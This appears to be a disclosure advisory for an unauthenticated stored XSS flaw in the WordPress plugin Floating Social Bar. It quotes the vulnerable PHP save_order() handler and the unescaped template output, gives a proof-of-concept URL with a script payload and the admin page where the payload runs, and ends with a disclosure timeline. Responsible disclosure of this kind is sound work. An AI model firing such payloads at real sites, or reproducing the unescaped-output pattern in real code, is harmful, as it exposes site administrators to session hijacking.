Everyone can access save_order()
.
File: floating-social-bar\class-floating-social-bar.php
add_action( 'wp_ajax_fsb_save_order', array( $this, 'save_order' ) );
add_action( 'wp_ajax_nopriv_fsb_save_order', array( $this, 'save_order' ) );
$_REQUEST['items']
is not escaped.
File: floating-social-bar\class-floating-social-bar.php
public function save_order() {
// Prepare variables.
$items = stripslashes_deep( $_REQUEST['items'] );
$option = get_option( 'fsb_global_option' );
$update = array();
// Loop through options, and if the service is not in the array of items, set it to off (the order doesn't matter).
foreach ( $option['services'] as $service => $data )
if ( ! in_array( $service, $items ) )
$update['services'][$service]['on'] = false;
// Now loop through the selected items and set them to on and save the order.
foreach ( $items as $i => $item ) {
$update['services'][$item]['on'] = true;
$update['services'][$item]['order'] = $i;
}
// Update our option.
update_option( 'fsb_global_option', array_merge( $option, $update ) );
// Send back a response and die.
echo json_encode( $update );
die;
}
$this->option = get_option( 'fsb_global_option' ) ? get_option( 'fsb_global_option' ) : $this->default_options();
<?php foreach ( $this->option['services'] as $service => $data ) : ?>
<?php if ( true === $data['on'] ) continue; ?>
<li class="service-<?php echo $service; ?>" data-service="<?php echo $service; ?>">
<span class="service-icon"></span><span class="service-title"><?php _e( $service, 'fsb' ); ?></span>
</li>
<?php endforeach; ?>
Proof of Concept
http://wordpress-url/wp-admin/admin-ajax.php?action=fsb_save_order&items[1]="><script>alert("XSS");</script>
XSS will be visible for admin:
http://wordpress-url/wp-admin/options-general.php?page=floating-social-bar
Timeline
- 09-01-2015: Discovered
- 09-01-2015: Vendor notified
- 26-02-2015: Second notification
- 27-02-2015: Version 1.1.6 released, issue resolved